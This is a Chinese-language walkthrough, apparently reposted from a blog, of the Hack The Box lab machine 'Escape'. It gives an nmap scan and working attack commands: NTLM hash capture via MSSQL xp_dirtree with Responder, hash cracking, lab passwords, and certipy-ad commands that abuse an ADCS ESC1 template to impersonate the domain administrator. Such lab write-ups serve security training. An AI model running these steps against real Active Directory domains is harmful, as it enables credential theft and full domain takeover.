首页 > 其他分享 >htb Escape

htb Escape

时间：2025-01-09 17:46:00浏览次数：1  
标签：01 htb sequel tcp Escape open Microsoft

扫描端口
nmap -sC -sV -p- -v -Pn -T4 10.10.11.202
Host is up (0.39s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-09 10:24:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4c c647 ebb2 c23e f472 1d70 2880 9d82
|_SHA-1: d88d 12ae 8a50 fcf1 2242 909e 3dd7 5cff 92d1 a480
|_ssl-date: 2025-01-09T10:25:56+00:00; +7h59m59s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4c c647 ebb2 c23e f472 1d70 2880 9d82
|_SHA-1: d88d 12ae 8a50 fcf1 2242 909e 3dd7 5cff 92d1 a480
|_ssl-date: 2025-01-09T10:25:56+00:00; +8h00m00s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-08T23:59:52
| Not valid after: 2055-01-08T23:59:52
| MD5: d92c 4005 ca13 27ad 7f6b 089d 4932 3844
|_SHA-1: e98d 00d2 8113 a4c9 65ab b643 d3c0 8e05 b6b0 91e5
|ssl-date: 2025-01-09T10:25:58+00:00; +8h00m00s from scanner time.
| ms-sql-ntlm-info:
| Target_Name: sequel
| NetBIOS_Domain_Name: sequel
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: dc.sequel.htb
| DNS_Tree_Name: sequel.htb
| Product_Version: 10.0.17763
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-09T10:25:57+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4c c647 ebb2 c23e f472 1d70 2880 9d82
|_SHA-1: d88d 12ae 8a50 fcf1 2242 909e 3dd7 5cff 92d1 a480
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
| Issuer: commonName=sequel-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-01-18T23:03:57
| Not valid after: 2074-01-05T23:03:57
| MD5: ee4c c647 ebb2 c23e f472 1d70 2880 9d82
|_SHA-1: d88d 12ae 8a50 fcf1 2242 909e 3dd7 5cff 92d1 a480
|_ssl-date: 2025-01-09T10:25:56+00:00; +8h00m00s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49711/tcp open msrpc Microsoft Windows RPC
49721/tcp open msrpc Microsoft Windows RPC
49742/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| ms-sql-info:
| 10.10.11.202:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s
| smb2-time:
| date: 2025-01-09T10:25:19
| start_date: N/A

NSE: Script Post-scanning.
Initiating NSE at 10:26
Completed NSE at 10:26, 0.00s elapsed
Initiating NSE at 10:26
Completed NSE at 10:26, 0.00s elapsed
Initiating NSE at 10:26
Completed NSE at 10:26, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 883.98 seconds
Raw packets sent: 196997 (8.668MB) | Rcvd: 656 (54.994KB)
注意到有1433mssql端口这可能是一个突破口
smb服务探测
未授权身份可登录
image

查看共享目录权限
image

在public下发现一个pdf文件，下载下来
image

查看
发现一游客的账号和密码
image

尝试登录mssql,成功登录
impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@10.10.11.202
image

没有搜集到什么有用的信息
测试smb登录，同匿名登录一样

回到mssql，发现可用xp_dirtree过程调用，利用它触发ntlm验证
xp_dirtree \10.10.16.18\test
responder监听
image

得到一个用户和hash
image

爆破
image

得到一用户和密码REGGIE1234ronnie (sql_svc)
远程登录
image

发现有一个用户ryan.cooper
发现有sql server的软件
在日志中发现一备份文件

image

分析发现一个密码
image

尝试登录，成功登录
ryan.cooper：NuclearMosquito3
image

发现目录下有一个certify.exe文件，猜测装有adcs
发现漏洞
certipy-ad find -u Ryan.Cooper -p NuclearMosquito3 -vulnerable -dc-ip 10.10.11.202
image

利用esc1
certipy-ad req -u Ryan.Cooper@sequel.htb -p 'NuclearMosquito3' -target 10.10.11.202 -dc-ip 10.10.11.202 -ca sequel-DC-CA -template UserAuthentication -upn administrator@sequel.htb -debug

image

同步时间
关闭自动更新
timedatectl set-ntp off
同步时间
rdate -n 10.10.11.202
获取到管理员hash
image

登录administrator
image

标签：01,htb,sequel,tcp,Escape,open,Microsoft
From： https://www.cnblogs.com/v3n0m-cccccc/p/18662593

相关文章

  • htb manager
    nmap-sC-sV-p--v-Pn-T410.10.11.236Hostisup(0.22slatency).Notshown:65512filteredtcpports(no-response)PORTSTATESERVICEVERSION53/tcpopendomainSimpleDNSPlus80/tcpopenhttpMicrosoftIIShttpd10......
  • htb Sauna
    扫描端口nmap-sC-sV-p--Pn-v-T410.10.10.175Hostisup(0.41slatency).Notshown:65515filteredtcpports(no-response)PORTSTATESERVICEVERSION53/tcpopendomainSimpleDNSPlus80/tcpopenhttpMicrosoftIIShtt......
  • HTB Broker
    nmap端口扫描nmap-sC-sV-p--v-Pn-T410.10.11.243Hostisup(0.38slatency).Notshown:65526closedtcpports(reset)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.9p1Ubuntu3ubuntu0.4(UbuntuLinux;protocol2.0)|ssh-hostke......
  • escape
    escape题意有\(n\)个点，\(k\)个连通块，每个连通块有\(s_i\)个点，每个连通块内部是完全图。你需要添加\(k-1\)条边使整个图连通。设每个连通块度数是\(d_i\)，一个加边方案的贡献就是\(\prod_{i=1}^kd_i!\)。问所有加边方案的总贡献。\(k\le7000,n\le10^9\)。思路变......
  • HTB之Base（弱语言类型混淆&find提权）
    Base1.信息收集端口扫描：子域名收集：gobustervhost--random-agent--append-domain-k-w"/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt"-u"http://ip:port/path"目录扫描：dirsearch扫描结果dirsearch比较适合扫描一些常规常见的文件2.访......
  • jquery响应式弹出层lightbox插件slick-lightbox.js
    slick-lightbox.js是一款基于slick.js和jquery的响应式弹出层lightbox插件。该jquerylightbox插件支持图片懒加载，支持键盘交互，支持HTML5HistoryAPI等。功能非常强大。在线预览  下载 安装可以通过bower来安装slick-lightbox.js插件。bowerinstall-Sslick-lightbo......
  • 支持移动手机的纯js lightbox插件GLightbox
    GLightbox是一款支持移动手机的纯jslightbox插件。GLightbox可以支持图片，视频，内联内容和iframes等，非常强大。 在线演示 下载 使用方法在页面中引入glightbox.css和glightbox.js文件。<linkhref="glightbox.css"rel="stylesheet"><scriptsrc="glightbox.js"type=......
  • HTB之Included（TFTP&LXD）
    Included1.扫描结果只有一个80端口2.访问看到URL参数，有思路了；测试一下，果然...将结果放到文本里，便于查看，可以看到只有两个用户是可登录的还有一个mike按照靶场习惯寻找mike的flag，未找到，只能换个思路3.TFTP回到刚才的passwd文件，最后一行还有个tftp，看起来好像是ftp......
  • HTB之Unified（JNDI注入+MongoDB+生成哈希）
    Unified1.扫描结果6789端口：IBMDB2管理，运行着IBMDB2Admin服务。IBMDB2是一种数据库管理系统，这个端口可能用于访问DB2数据库的管理界面。8443端口：管理平台，根据相关搜索得知应该是网络设备管理平台，或者监控管理平台。UniFiNetwork是UbiquitiNetworks提供的一......
  • mysqli_real_escape_string详解
    mysqli_real_escape_string是PHP中用于防止SQL注入的一种函数。它通过转义特殊字符来确保用户输入的安全性。以下是对该函数的详细介绍：函数概述用途：用于对字符串进行转义，以便安全地将其插入到SQL查询中。语法：stringmysqli_real_escape_string(mysqli$link,string......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99